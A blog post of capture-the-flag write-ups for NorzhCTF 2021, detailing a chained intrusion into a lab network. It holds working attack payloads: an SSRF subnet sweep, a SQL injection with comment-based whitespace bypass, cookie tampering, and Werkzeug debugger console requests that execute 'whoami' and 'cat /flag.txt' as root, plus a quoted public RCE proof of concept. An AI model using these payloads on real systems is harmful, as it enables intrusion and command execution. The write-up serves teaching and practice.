This page looks best with JavaScript enabled

NorzhCTF 2021 Writeups

Hosted from 21 May - 23 May

 ·  ☕ 6 min read  ·  🌈🕊️ rainbowpigeon

Very unique CTF! Alongside challenges that got you to work with provided files, there was an OSCP-virtual-labs-style network with both external-facing and internal developer and admin subnets. Network reconnaissance and pivoting had to be performed. Unfortunately, I solved little challenges as I only started seriously on the second day :) The delays and infrastructure issues doused the flames of my enthusiasm…

Details Links
CTFtime.org Event Page https://ctftime.org/event/1301

Airport Hall

Triskel 1: First contact

Coronavirus affected our airport so much that our dev team developed an app to keep track of it! I mean they didn’t have much time to make it, but what could go wrong?

by Remsio

After discovering the two IPs pinging us in the initial Discovery challenge, we find a web service running on one of them — 10.35.2.134 — on port 8100 after running a nmap scan for all ports.

1
nmap -sV -n 10.35.2.134 -p - -vvv

Output:

1
2
3
4
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8100/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.33 ((Unix))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The website appears to track medical news in and outside of Brittany. There is a login field but it is of no use to us at the moment.

Coronavirus news website at 10.35.2.134:8100

Coronavirus news website at 10.35.2.134:8100 fetching medical news outside of Brittany

What’s interesting is that on the ‘Outside of Brittany’ page, the news is fetched by an API call to an endpoint on an internal subnet 10.0.42.0/24 that we do not have direct access to.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$( document ).ready(function() {

  var result_ajax = $('#result_ajax');

  $.ajax({

      url: 'api/call_api.php?api=10.0.42.100/api/',
      timeout: 4000,
      success: function (data) {
          result_ajax.html(data);
      },
      error: function() {
          result_ajax.html("Bravo Nils! Le back il est foutu c'est pas grave hein?");
      }
  });
});

Perhaps we can utilize this SSRF vulnerability to first scan the internal subnet and see what kind of other endpoints exist, as suggested by my teammate zeyu2001.
Thus, we use Burp Intruder with a ‘Sniper’ payload that loops from 0 to 255 for the last octet of the IP address.

Burp Intruder Sniper payload at last octet of IP address

Burp Intruder payload using a number range from 0 to 255

Our scan results returned us 3 IP addresses that did not give a “Cant connect to API” error. .2 is the website itself, .100 is the API endpoint we saw earlier, and .200 is what seems to be a chat page containing the flag.

Flag on chat website in internal subnet

Flag: NORZH{You_just_SSRFed_your_way_in!!!}

Triskel 2 : Going in

What did you do? You shouldn’t have access to this chat, but you can’t do anything from it right?

by Remsio

On the internal chat page there is a username search at the top which basically filters the chat by username.

Username search bar at top of internal chat website

Unlike the message-sending form at the bottom that does not work, the search is functioning and is done through a GET request to /?search=.

Seach GET request seen in Burp Suite

I decided to fuzz the search parameter with Burp Intruder to see if it was processed in any strange way.

Burp Intruder Sniper payload for search parameter

Burp Intruder full fuzzing payload set

For payloads that did not match any usernames in the chat, they were simply reflected unsanitized in the output.

Burp Intruder full fuzzing payload set

Upon closer inspection, I noticed that payloads containing a single quote ' additionally returned a No Data :( error message.

No Data error message when payloads have single quotes

This seemed like an SQL injection vulnerability where generic error messages are returned.
But before I was able to test bigger queries, I also noticed that whitespaces (represented with + when URL-encoded) were blacklisted since they abnormally gave a 400 Bad Request message despite the server responding with 200 OK.

400 Bad Request in response body when payloads contain whitespace

Bypassing this with inline comments, we can demonstrate a successful injection with an OR query that returns all chat rows since the condition '1'='1' is always true:

1
GET /api/call_api.php?api=10.0.42.200/?search=admin_richard_lauren'/**/OR/**/'1'='1  HTTP/1.1

Successful SQL injection returns all chat rows

My teammate zeyu2001 then went on to retrieve admin credentials from the database which was admin_richard_lauren:D.!uTra+b+wrUVH5s?^AE3a~X. After login, the flag is displayed in the admin management page.

Flag in admin management page after login

Flag: NORZH{Hidden_C0r0n4_ch4t_y0u_are_the_admin_now!:)}

Triskel 3 : Dead end

You are admin now… Anyway now you can’t access any information or have more privileges so I guess it’s the end of your journey haha!

by Remsio

Clicking on the Not available link tries to load a document with the URL parameter ?document=1 but the contents returned are also Not available.

Confidential document contents not available in admin management page

Inspecting this under the hood, we see that a confidential_documents cookie is set with value kontammadur_klanvour.prod.local%3A5001%2Fdocuments, which URL-decodes to kontammadur_klanvour.prod.local:5001/documents. Thus, it is reasonable to conclude that the documents are fetched from this internal production endpoint.

Cookie pointing to internal production endpoint for confidential documents

However, as we have seen on the admin management page, it is currently “Temporary down” and “Not available”. This is likely because a dev “closed the prod” as written on the internal chat page 10.0.42.200 from Triskel 2 : Going in. So maybe we can modify the cookie to point to the internal dev endpoint instead? Changing the cookie to kontammadur_klanvour.dev.local:5001/documents successfully returns the list of documents.

Modifying cookie to dev endpoint returns list of documents

From there, the important document we should view is coup_de_gueule.txt with ?document=1 which complains about the disabling of the dev console PIN.

Viewing document which complains about the disabling of the dev console PIN

1
Are you kidding me? Who deactivated the PIN to access dev platform console??? ヽ(`Д´)ノ

With the green-highlighted text API Powered by Werkzeug so prominently plastered on the admin management page, some of us will immediately make the connection that document’s content refers to the Werkzeug debug console which is usually accessible at /console if enabled. We modify the cookie to be:

kontammadur_klanvour.dev.local:5001/console

and we are greeted with the Werkzeug Debugger Console.

Werkzeug Debugger with console options set

Looking at the debugger’s source code here https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/shared/debugger.js, we can see that the PIN is disabled through the EVALEX_TRUSTED = true option.

Debugger options:

1
2
3
4
5
var TRACEBACK = -1,
    CONSOLE_MODE = true,
    EVALEX = true,
    EVALEX_TRUSTED = true,
    SECRET = "IUrsy36AKlZ2zvT1vaPc";

Source code:

1
2
3
if (!EVALEX_TRUSTED) {
  initPinBox();
}

However, we still get a “The Console requires Javascript” message, “Console Locked” message, and a prompt for the PIN because the Javascript code for the debugger was not properly loaded over the SSRF given that it uses a relative src path.

Werkzeug Debugger Console is locked and still requires PIN

I didn’t know about this ssrf_proxy tool during the CTF, so I just thought of setting the proper debugger URL parameters directly in the cookie url like so:

kontammadur_klanvour.dev.local:5001/console?__debugger__=yes&cmd=resource&f=debugger.js

This loaded the debugger.js successfully, meaning that we can proceed to use this method to send console commands without using the UI.

Source code of remote Werkzeug debugger.js loaded

With reference to the debugger.js’s handleConsoleSubmit function source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Get input command.
  const cmd = command.value;

  // Setup GET request.
  const urlPath = "";
  const params = {
    __debugger__: "yes",
    cmd: cmd,
    frm: frameID,
    s: SECRET,
  };

and a truncated sample of this Werkzeug RCE POC https://github.com/its-arun/Werkzeug-Debug-RCE/blob/master/werkzeug.py :

1
2
3
4
5
cmd = '''__import__('os').popen(\'%s\').read();''' % (sys.argv[2])

response = requests.get('http://%s/console' % (sys.argv[1]))
...
response = requests.get("http://%s/console?__debugger__=yes&cmd=%s&frm=0&s=%s" % (sys.argv[1],str(cmd),secret))

we can figure out, that to send a console command and achieve RCE through Python, we just need to format the cookie with 4 URL parameters to /console this way:

kontammadur_klanvour.dev.local%3A5001/console?__debugger__=yes&cmd=__import__('os').popen('whoami').read()%3b&frm=0&s=IUrsy36AKlZ2zvT1vaPc

where cmd contains the Python code, frm can be set to 0 and s is the SECRET from the debugger option variables seen earlier. Something to take note of is that more complicated system commands ran under popen() should be double-URL-encoded.
Anyway, our above request returns with the output of root, which proves high-privilege RCE.

Remote execution of 'whoami' outputs root

Response body:

1
<span class="string">&#x27;root\n&#x27;</span>

After running ls -la / and spotting a flag.txt in /, we grab the flag’s contents with:

kontammadur_klanvour.dev.local%3A5001/console?__debugger__=yes&cmd=__import__('os').popen('cat%2b/flag.txt').read()%3b&frm=0&s=IUrsy36AKlZ2zvT1vaPc

Response body:

1
<span class="string">&#x27;NORZH{FLASK_C0ns0l3_RCE_without_pin_seriously.._wait_did_I_land?}&#x27;</span>

Flag: NORZH{FLASK_C0ns0l3_RCE_without_pin_seriously.._wait_did_I_land?}


That’s all folks!

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP | OSED | Burp Suite Certified Practitioner